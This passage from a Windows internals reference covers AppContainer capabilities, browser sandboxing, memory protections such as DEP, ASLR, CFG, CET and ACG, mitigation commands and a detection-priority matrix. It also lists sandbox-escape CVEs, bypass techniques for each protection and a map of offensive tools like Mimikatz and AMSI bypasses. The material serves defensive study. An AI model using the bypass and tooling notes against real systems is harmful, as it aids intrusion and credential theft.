| internetClient | S-1-15-3-1 | Outbound internet access |
| internetClientServer | S-1-15-3-2 | Inbound + outbound internet |
| privateNetworkClientServer | S-1-15-3-3 | Home/work network access |
| documentsLibrary | S-1-15-3-7 | Documents folder access |
| picturesLibrary | S-1-15-3-4 | Pictures folder access |
| videosLibrary | S-1-15-3-5 | Videos folder access |
| musicLibrary | S-1-15-3-6 | Music folder access |
| enterpriseAuthentication | S-1-15-3-8 | Domain auth (Kerberos) |
| sharedUserCertificates | S-1-15-3-9 | Certificate store access |
| removableStorage | S-1-15-3-10 | USB drives |
| appointments | S-1-15-3-11 | Calendar access |
| contacts | S-1-15-3-12 | Contacts access |
# List AppContainer profiles on the system
Get-ChildItem "HKLM:\SOFTWARE\Microsoft\SecurityManager\CapAuthz\ApplicationsEx"
# Check AppContainer SID for a package
Get-AppxPackage -Name "*Edge*" | Select-Object PackageFamilyName
# Then derive SID via:
# [System.Security.Principal.SecurityIdentifier]::new("S-1-15-2-...")
# NtObjectManager — enumerate AppContainers
Get-AppContainerProfile
15.3 Browser Sandbox Architecture (Chromium-based)
Modern browsers use a multi-layer sandbox:
Browser Process (Medium IL)
├── GPU Process (Low IL, restricted job)
├── Renderer Process (AppContainer, Low IL, restricted tokens)
│ └── V8 JavaScript engine
│ └── Blink rendering engine
├── Network Process (Low IL)
└── Utility Processes (various restrictions)
Renderer sandbox restrictions:
- AppContainer token (no file system access outside package)
- Restricted token (most SIDs set to DENY)
- Low integrity level
- Win32k lockdown (no GUI syscalls) —
ProcessSystemCallDisablePolicy - No child process creation —
ProcessChildProcessPolicy - Desktop restriction
- Job object limits (CPU, memory, no breakaway)
# Inspect browser sandbox with Process Explorer:
# 1. Open Process Explorer
# 2. Right-click renderer process > Properties > Security
# 3. Check: Integrity Level, AppContainer SID, Restricted SIDs, Capabilities
# Or use NtObjectManager:
Get-NtProcess -Name "chrome.exe" | ForEach-Object {
$token = Get-NtToken -Process $_
[PSCustomObject]@{
PID = $_.ProcessId
AppContainer = $token.AppContainer
IntegrityLevel = $token.IntegrityLevel
Restricted = $token.Restricted
}
}
15.4 Sandbox Escape Vectors
| Attack Surface | Description | Example CVEs |
|---|---|---|
| Kernel vulnerabilities | Win32k (pre-lockdown), ntoskrnl bugs | CVE-2021-1732, CVE-2023-36033 |
| IPC to broker | Mojo/IPC message handling bugs in browser process | CVE-2019-5786 |
| GPU process | Shared memory or command buffer bugs | CVE-2020-6418 |
| File system race | TOCTOU on allowed file paths | Various |
| Token manipulation | Exploit token handling in sandbox | CVE-2020-0986 |
| Win32k lockdown bypass | Abuse GDI shared memory or allowed syscalls | CVE-2016-3309 |
16. Memory Protection Mechanisms
16.1 DEP (Data Execution Prevention)
DEP marks data pages as non-executable (NX bit on AMD64 / XD bit on Intel).
DEP modes:
- OptIn — DEP only for Windows system components and opted-in apps (default for client)
- OptOut — DEP for all processes except opted-out apps (default for server)
- AlwaysOn — DEP for all processes, no exceptions
- AlwaysOff — DEP disabled (not recommended)
# Check DEP status
wmic OS Get DataExecutionPrevention_Available
wmic OS Get DataExecutionPrevention_SupportPolicy
# 0=AlwaysOff, 1=AlwaysOn, 2=OptIn, 3=OptOut
bcdedit /enum | findstr "nx"
# Check per-process DEP
Get-Process | ForEach-Object {
$dep = $null
try { $dep = $_.DEPEnabled } catch {}
if ($dep -ne $null) { [PSCustomObject]@{Name=$_.Name; PID=$_.Id; DEP=$dep} }
}
DEP bypass: Return-Oriented Programming (ROP) — chain existing executable code gadgets to call VirtualProtect / VirtualAlloc with PAGE_EXECUTE_READWRITE, then redirect to shellcode.
16.2 ASLR (Address Space Layout Randomization)
ASLR randomizes base addresses of executables, DLLs, stack, and heap.
ASLR types:
- Image randomization — DLL/EXE base addresses randomized (requires
/DYNAMICBASElinker flag) - Stack randomization — Thread stack base randomized
- Heap randomization — Heap base randomized
- High-entropy ASLR — 64-bit processes get much larger randomization range (requires
/HIGHENTROPYVA) - Bottom-up randomization — Randomize allocations from bottom of address space
- Force ASLR — Relocate images even without
/DYNAMICBASE(Mandatory ASLR via EMET/Exploit Guard)
# Check ASLR for a binary
# Use dumpbin or PE parser to check IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE (0x40)
dumpbin /headers C:\Windows\System32\ntdll.dll | findstr "Dynamic"
# "Dynamic base" in characteristics = ASLR enabled
# Check system-wide Exploit Guard settings
Get-ProcessMitigation -System
Get-ProcessMitigation -Name chrome.exe
# Enable mandatory ASLR system-wide
Set-ProcessMitigation -System -Enable ForceRelocateImages
ASLR bypass techniques:
- Information disclosure vulnerability (leak module base address)
- Partial overwrite (when only low bytes of address are overwritten)
- Non-ASLR modules (DLLs compiled without
/DYNAMICBASE) - Heap spraying (reduce randomization entropy)
16.3 CFG (Control Flow Guard)
CFG validates indirect call targets at runtime. Functions must be in a bitmap of valid call targets.
How CFG works:
- At compile time (
/guard:cf): compiler generates bitmap of valid function entry points - Before indirect calls:
_guard_dispatch_icall/_guard_check_icallvalidates target against bitmap - If target not in bitmap: process terminates (
STATUS_STACK_BUFFER_OVERRUN)
Normal indirect call: CFG-protected call:
call [rax] mov rcx, [rax] ; target address
call __guard_check_icall_fptr
call rcx ; only reached if valid
# Check if a binary has CFG enabled
dumpbin /headers /loadconfig C:\Windows\System32\ntdll.dll | findstr "Guard"
# Look for: IMAGE_DLLCHARACTERISTICS_GUARD_CF (0x4000)
# And: Guard CF function table, Guard CF function count
# Enable CFG enforcement via Exploit Guard
Set-ProcessMitigation -Name target.exe -Enable CFG
CFG bypass techniques:
- Call to valid functions that provide code execution (e.g.,
ntdll!LdrLoadDll,kernel32!VirtualProtect) - Corrupt the CFG bitmap (requires write primitive in kernel or valid page)
- Target non-CFG modules loaded in process
- Use return addresses (CFG only protects forward-edge calls, not returns)
16.4 CET (Control-Flow Enforcement Technology)
Intel CET provides hardware-enforced control flow integrity. Two components:
Shadow Stack (CET-SS)
Hardware-maintained second stack that stores only return addresses:
Normal stack: Shadow stack:
[local vars ] [return addr 1]
[saved rbp ] [return addr 2]
[return addr] ←verify→ [return addr 3]
[arguments ]
- On
CALL: processor pushes return address to both normal and shadow stack - On
RET: processor compares return addresses; mismatch =#CP(Control Protection) exception - Shadow stack is in separate virtual memory pages (only writable via
SAVEPREVSSP/RSTORSSP) - Defeats: ROP (return address corruption detected)
Indirect Branch Tracking (CET-IBT)
Validates indirect JMP/CALL targets:
- Valid targets must start with
ENDBR64instruction - Indirect branch to address without
ENDBR64triggers#CPexception - Defeats: JOP (Jump-Oriented Programming), COP (Call-Oriented Programming)
# Check CET support
# Windows 11+ with compatible hardware (Intel 11th gen+, AMD Zen 3+)
Get-ProcessMitigation -Name msedge.exe | Select-Object -ExpandProperty UserShadowStack
# Or check:
Get-CimInstance Win32_Processor | Select-Object Caption, Name
# Then verify CET support in CPU features
16.5 ACG (Arbitrary Code Guard)
ACG prevents processes from generating dynamic executable code:
ACG policy:
- Cannot allocate new executable memory (
PAGE_EXECUTE_*viaVirtualAlloc) - Cannot modify existing executable pages to writable
- Cannot map new executable code into the process
- JIT compilers must use out-of-process JIT (separate process generates code, maps read-execute into protected process)
# Enable ACG for a process
Set-ProcessMitigation -Name target.exe -Enable DynamicCode
# Check ACG status
Get-ProcessMitigation -Name target.exe | Select-Object -ExpandProperty DynamicCode
Impact on attackers: ACG breaks traditional shellcode injection. Cannot:
VirtualAlloc(PAGE_EXECUTE_READWRITE)— blockedVirtualProtect(PAGE_EXECUTE_READWRITE)— blocked- Write-then-execute shellcode — all dynamic code generation blocked
Bypasses:
- Load existing signed DLLs (code already exists as executable)
- Data-only attacks (modify function pointers to existing code)
- Abuse JIT process if it has code generation rights
- ROP/JOP (reuse existing code)
16.6 Exploit Protection Summary Matrix
| Protection | Defeats | Bypass | Hardware Req |
|---|---|---|---|
| DEP/NX | Classic stack/heap shellcode | ROP/JOP | NX bit (all modern CPUs) |
| ASLR | Hardcoded addresses in exploits | Info leak, non-ASLR modules | None |
| Stack Canaries (/GS) | Stack buffer overflows | SEH overwrites, info leak | None |
| SafeSEH/SEHOP | SEH-based exploits | Non-SafeSEH modules (32-bit) | None |
| CFG | Indirect call hijacking | Valid target abuse, non-CFG modules | None |
| CET Shadow Stack | ROP | Shadow stack pivot (theoretical) | Intel 11th gen+ / AMD Zen3+ |
| CET-IBT | JOP/COP | Find ENDBR gadgets | Intel 11th gen+ / AMD Zen3+ |
| ACG | Dynamic code / shellcode injection | Reuse existing code, DLL loads | None |
| HVCI | Kernel code injection | Data-only kernel attacks, signed driver abuse | VBS/Hyper-V |
| Credential Guard | Credential theft from LSASS memory | Extract from network, Kerberos delegation | VBS/Hyper-V |
16.7 Process Mitigation Policies (Comprehensive)
# View all exploit protection settings for a process
Get-ProcessMitigation -Name chrome.exe
# System-wide defaults
Get-ProcessMitigation -System
# Key policies and their SetProcessMitigationPolicy identifiers:
# ProcessDEPPolicy — DEP settings
# ProcessASLRPolicy — ASLR (bottom-up, high-entropy, force relocate)
# ProcessDynamicCodePolicy — ACG (no dynamic code)
# ProcessStrictHandleCheckPolicy — Strict handle validation
# ProcessSystemCallDisablePolicy — Win32k syscall filter (used by browser sandbox)
# ProcessExtensionPointDisablePolicy — Block DLL extension points
# ProcessControlFlowGuardPolicy — CFG settings
# ProcessSignaturePolicy — Only load Microsoft/Store/WHQL signed DLLs
# ProcessImageLoadPolicy — Block loading from remote/low-IL locations
# ProcessFontDisablePolicy — Block non-system font loading
# ProcessChildProcessPolicy — Block child process creation (sandbox)
# ProcessUserShadowStackPolicy — CET shadow stack
# ProcessRedirectionTrustPolicy — Redirection Guard
# Example: Lock down a process
Set-ProcessMitigation -Name target.exe -Enable `
DEP, ForceRelocateImages, BottomUp, HighEntropy, `
CFG, StrictCFG, `
DynamicCode, `
BlockRemoteImageLoads, BlockLowLabelImageLoads, `
DisableExtensionPoints, `
DisableNonSystemFonts, `
DisableChildProcessCreation, `
UserShadowStack, UserShadowStackStrictMode
# Export all mitigations for audit
Get-ProcessMitigation -System | Format-List *
Appendix A: Quick Reference — Offensive Tooling to Internals Mapping
| Tool/Technique | Windows Internal Abused | Section |
|---|---|---|
| Mimikatz sekurlsa | LSASS credential lists, LSA encryption keys | 6.2, 6.3 |
| Mimikatz DCSync | DRSUAPI RPC interface, AD replication | 1.4, 12.3 |
| Rubeus | Kerberos.dll in LSASS, TGT/TGS operations | 6.1 |
| SharpDPAPI | DPAPI master keys in LSASS, CryptUnprotectData | 6.5 |
| Potato attacks | Named pipe impersonation, DCOM activation | 9.4 |
| PsExec | SCM RPC (svcctl), SMB, service creation | 10.3, 12.2 |
| CobaltStrike execute-assembly | .NET CLR hosting, ETW DotNETRuntime | 4.4 |
| Direct syscalls | SSDT, ntdll stubs, SSN resolution | 3.1-3.4 |
| AMSI bypass | amsi.dll patching, provider unhooking | 5.4-5.5 |
| BYOVD | Driver signature enforcement, kernel R/W | 13.2 |
| WMI persistence | WMI event subscriptions, repository | 8.3 |
| COM hijacking | HKCU CLSID override, InprocServer32 | 7.4 |
| Token impersonation | Access tokens, impersonation levels, SeImpersonatePrivilege | 2.3-2.5 |
| ETW blinding | EtwEventWrite patching, provider manipulation | 4.5 |
| PowerShell CLM bypass | Language mode, AMSI, AppLocker policy | 14.3 |
| Process hollowing | VirtualAllocEx, WriteProcessMemory, SetThreadContext | 3.1, 16.5 |
| DLL side-loading | DLL search order, service binary paths | 10.3 |
Appendix B: Detection Engineering Priority Matrix
| Priority | What to Monitor | ETW Provider / Log Source | Detects |
|---|---|---|---|
| P0 | LSASS access (Sysmon 10) | Sysmon | Credential dumping |
| P0 | Sensitive privilege use (4672, 4673) | Security | Privilege abuse |
| P0 | ETW-TI events | Threat-Intelligence (PPL) | Process injection, memory manipulation |
| P1 | New service creation (7045) | System | Persistence, lateral movement |
| P1 | ScriptBlock Logging (4104) | PowerShell Operational | Malicious scripts |
| P1 | .NET assembly loads | DotNETRuntime | Execute-assembly, reflective loading |
| P1 | WMI event subscriptions (Sysmon 19-21) | Sysmon | WMI persistence |
| P2 | Registry autoruns (Sysmon 12,13) | Sysmon | Registry persistence |
| P2 | Named pipe creation (Sysmon 17,18) | Sysmon | Lateral movement, potato attacks |
| P2 | Driver loads (Sysmon 6) | Sysmon | BYOVD, rootkits |
| P2 | DNS queries (Sysmon 22) | Sysmon | C2 communication |
| P3 | COM object access | COMRuntime | COM hijacking, DCOM lateral movement |
| P3 | RPC calls | RPC provider | Remote management abuse |
| P3 | AMSI events | AMSI provider | Script scanning results |
End of Document — CIPHER Windows Internals Deep Dive v2.0